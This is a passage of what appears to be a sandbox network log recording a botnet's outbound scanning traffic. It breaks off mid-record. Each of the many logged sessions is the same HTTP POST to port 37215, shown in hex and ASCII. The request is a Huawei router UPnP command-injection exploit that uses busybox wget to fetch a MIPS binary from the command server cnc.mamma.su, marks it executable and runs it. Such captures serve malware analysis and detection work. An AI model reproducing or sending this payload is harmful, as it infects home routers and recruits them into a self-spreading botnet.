61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	45982	156.213.139.78	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579655886 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	33098	156.80.9.191	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579693079 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	47962	41.57.212.72	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579819918 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	37878	197.82.116.206	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579843998 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	36616	197.55.145.114	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579873085 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	58866	197.134.170.20	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579910994 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	59602	197.118.35.21	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579922915 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	46058	156.18.66.116	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.579932928 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	38044	156.176.121.224	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580002069 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	43442	156.63.134.230	37215

Timestamp	Bytes transferred	Direction	Data
Aug 17, 2024 01:01:52.580075026 CEST	871	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet 